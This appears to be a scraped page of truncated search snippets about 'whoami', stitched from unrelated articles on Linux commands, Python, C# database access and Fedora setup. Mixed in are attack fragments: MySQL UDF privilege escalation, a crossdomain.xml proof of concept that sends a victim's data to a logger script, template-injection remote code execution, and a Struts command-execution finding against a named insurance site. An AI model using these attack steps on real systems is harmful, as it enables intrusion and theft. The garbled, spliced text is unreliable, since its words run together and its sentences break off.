whoami

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Automatically mount and unmount USB disks using the command line under Gnu/linux

In the command-line environment, it is cumbersome to mount and unmount USB disks by manually typing mount and Umount commands each time. In particular, the Mount command has very many parameters. For example, the partition type of the disk (VFAT, NTFS, etc.), the Mounted directory node, the identity of the user and group to mount (UID and GID), mount after the file and folder permissions (Umask) and so on. So, I wrote two scripts to automatically mount and unmount the USB disk separately. The fo

Linux View history record plus time stamp tips

Linux View history record plus time stamp tipsYou must know that you are familiar with bash. Use history to output historical commands that you have entered, such as[Email protected]_web ~]# History | More6./test.sh7 Vim test.sh8./test.shBut this shows only the command, and does not show the time to execute the command, because the ~/.bash_history of the Save History command has no time saved.Add time stamp to history by setting environment variables export histtimeformat= "%F%T '

Linux users, user groups detailed management commands are used

, the user root after the switch is used g001User group permissions[[email protected] ~]# newgrp g001[[email protected] ~]# touch Abc[[email protected] ~]# ll-d abc-rw-r--r--1 root g001 0 11:43 ABCGroupdel: Deleting a groupGroupdel g001 Third, other related commandsThe common commands involvedOther related ( user and user group view, etc.):ID, W, who, WHOAMI,SU Basic usage SyntaxID: View user-related ID information;ID [OPTION] ... [USER]-u

Python object-oriented-extension

Get object InformationTo get a variable, in addition to using isinstance () to determine whether it is a certain type of instance, there is no other way to obtain more information?For example, there are already definitions:class person (object ): def __init__ (self , Name, gender): se LF . Name = name self . Gender = genderdef __init__ (self , Name, gender, score): super (Student, self ). __init__ (Name, gender) self . Score = score def Who

C # sqlserver2000

new data connection, the connection properties select Microsoft OLE DB Provider for SQL Server, and then choose the server and database Tyjdb, and then when the test connection succeeds, press OK. Using this tool, you can quickly and accurately generate the database connection string that you want. Connecting to a database Create a new ASP.net project or windows.net application because the database access program for both is the same. When you drag a data connection from Server Explorer to

SQL Server Programming for Visual C # (RPM)

them. Then we add a new data connection, the connection properties select Microsoft OLE DB Provider for SQL Server, and then choose the server and database Tyjdb, and then when the test connection succeeds, press OK. Using this tool, you can quickly and accurately generate the database connection string that you want. Connecting to a database Create a new ASP.net project or windows.net application because the database access program for both is the same. When you drag a data connection from Se

sudo command: Troubleshoot errors that occur when you use Linux command lines

database, the shell is run. If a command is specified, the command passes the command to the shell through the shell's-c parameter. If no command is specified, an interactive shell is executed.So, basically this command parameter is done by:Start a new shell-as for which shell, refer to the Shell environment variable assignment. If the $SHELL is empty, the SHELL defined in/etc/passwd will be used.If you pass a command name with the-s parameter (for example, Sudo-s

Basic tutorial on installing and using the command line Interaction module pexpect in Python

: child.sendline(passwd) elif i == 1: child.sendline('yes') else: pass except pexpect.EOF: child.close() else: o=child.read() child.expect(pexpect.EOF) child.close() return o hosts=file('hosts.list','r') for line in hosts.readlines(): host=line.strip("\n") if host: ip,port,user,passwd,commands= host.split(":") for command in commands.split(","): print "+++++++++++++++ %s run:%s ++++++++++++" % (ip,command), print login(port

Privilege Escalation for Linux UDF Mysql

U realloc U setenv U strcpy U strncpy0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T s

Vulnerabilities on major platforms of China wide meiyi vbox vendors

=0.3Accept-Encoding: gzip, deflateReferer: http://**.**.**.**/admin/login.aspxCookie: ASP.NET_SessionId=ef1tpyjbj0qpnxtmjuohv2e5Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 233__VIEWSTATE=%2FwEPDwUKMTA4MzU1NjA4N2RkRnb4zXsRnFaFD5QYBk2TjtvQSXnQQ6Hn4qwNo9WElDM%3D__EVENTVALIDATION=%2FwEWBAKPi%2Br7CALyj%2FOQAgKVqs78BwL9kpmPAUHHL82XtJ7NqhK6TIUqokUPxBCTGvqWKQreGe6%2Bui3vtbUserName=admintbUserPwd=dsfsdfbtnOk=. The database does not need to be written. The dba p

Crossdomain. xml evil usage example

: function test_get() {request = new CrossXHR();request.onreadystatechange = callback;request.open('GET', 'http://api.spreaker.com/whoami');request.send(); } Then process the response. In this case, I send it to the log record, and then parse and save the sensitive information:Data = request. responseText; // contain the content of the/whoami httpGet ("/poc/logger. php? Data = "+ data); // send it to logger

Server template injection: remote code execution on modern WEB

following shows the variable name brute-force cracking with Burp, And the return value of the server is payload on the left.ChangeThe volume class seems useful because it returns the Class Object of an Object class. Google found the link https://velocity.apache.org/tools/releases/2.0/summary.html:You can see a method and an attribute: We can combine $ class. inspect and $ class. type to construct any object. Then we can use runtime.exe c () to execute any command. This idea can be confirmed usi

A system vulnerability in huatai insurance has problems such as configuration leakage. Shell can threaten the Intranet.

A system vulnerability in huatai insurance has problems such as configuration leakage. Shell can threaten the Intranet. St command execution/configuration Leakage 1 # Command ExecutionHttp://shop.ehuatai.com: 7777/esale/login/rapidBaojiaAction-baojia.action Target: http://shop.ehuatai.com:7777/isale/actions/logonAction-logon.actionUseage: S2-016 Whoami: rootWebPath: /jboss/jboss-eap-ehuatai/jbossas/server/production/./deploy/isale.war/============

Common Unix Commands

so far. Example: uptime. The following is an example output after the command is executed: PM up 4 day (s), 14 users, load average: 0.00, 0.01, 0.02 VI Purpose: VI is a text editor. Example: VI myfile.txt. This command starts Vito edit myfile.txt. Wall Purpose: Wall sends a specified message to all terminals. Example: wall work sucks !!. After this command is executed, the following message is printed on all terminals: Work sucks !! WC Purpose: Calculate and display the number of bytes, number

Summary of common commands based on Linux debugging tool strace and gdb _ PHP Tutorial

example,-e write = 1 -R: print the relative time of each system call. -T add time information before each row in the output -Tt adds time information before each row in the output, and the time is accurate to microseconds. -Ttt adds time information before each line in the output, and the output is relative time. -S specifies the length of the output string for each row (default value: 32) Example of strace:Strace-t whoami # trace the executable pro

Summary _php tutorial for common commands Strace and GDB based on Linux debugging Tools

the length of each line of output string (default is 32) examples of strace use:Strace-t whoami #跟踪whoami可执行程序, print execution time before output per line Strace-p 17151-p 17152-p 17153 #同时跟踪进程17151, 17152, 17153 Strace-f-e trace=read,write-p 17151-o log #跟踪进程17151及子进程中read和write系统调用, output to log file GDB Debugging ToolsGDB is a powerful UNIX program debugging tool released by the GNU Open source orga

Record the necessary software packages to be installed after fedora19

whoami to view your user name Sudo systemctl Enable SMB. Service # Start samba at startup Sudo systemctl start SMB. Service # Start Samba immediately Sudo systemctl restart SMB. Service # restart Samba immediately Sudo firewall-cmd -- Permanent -- zone = public -- add-service = Samba # configure the firewall so that other computers can access your computer. The following is a simple configuration example: Mkdir/home/PublicChmod 777/home/Public [Shar

Record some necessary software packages to be installed after fedora18 installation:

.noarch.rpmSudo rpm-IVH adobe-release-i386-1.0-1.noarch.rpmSudo Yum-y install flash-plugin 7. install an audio/video decoder: Wget http://www1.mplayerhq.hu/MPlayer/releases/codecs/all-20110131.tar.bz2Tar jxf all-20110131.tar.bz Sudo mkdir-P/usr/lib/codecs Sudo MV all-20110131/*/usr/lib/codecs 8. Configure samba Sudo smbpasswd-a-uYour_username # Set the login user name and password. You can run whoami to view your user name Sudo systemctl Enable SM

Linux interview questions required for O & M

output -P print -D Delete -E: Allow multiple edits When using sed to retrieve rows, pay special attention to the use of sed-n's ### G' filename. The sed \ (\) function can remember part of the regular expression, \ 1 is the first remembered mode, that is, the matching content in the first parentheses, \ 2 the second remembered mode, that is, the matching content in the second parentheses, sed can remember up to 9. The selection of actual characters is best to be unique. Regular Expressions are

Record some necessary software packages to be installed after fedora20 Installation

/lib/codecs Sudo cp all-20110131/*/usr/lib/codecs 64-bit system: Sudo mkdir-p/usr/lib64/codecs Sudo cp all-20110131/*/usr/lib64/codecs8. Configure samba Sudo smbpasswd-a-UYour_username # Set the login user name and password. You can run whoami to view your user name Sudo systemctl enable smb. service # Start samba at startup Sudo systemctl start smb. service # start samba immediately Sudo systemctl restart smb. service # restart samba immediately Sud

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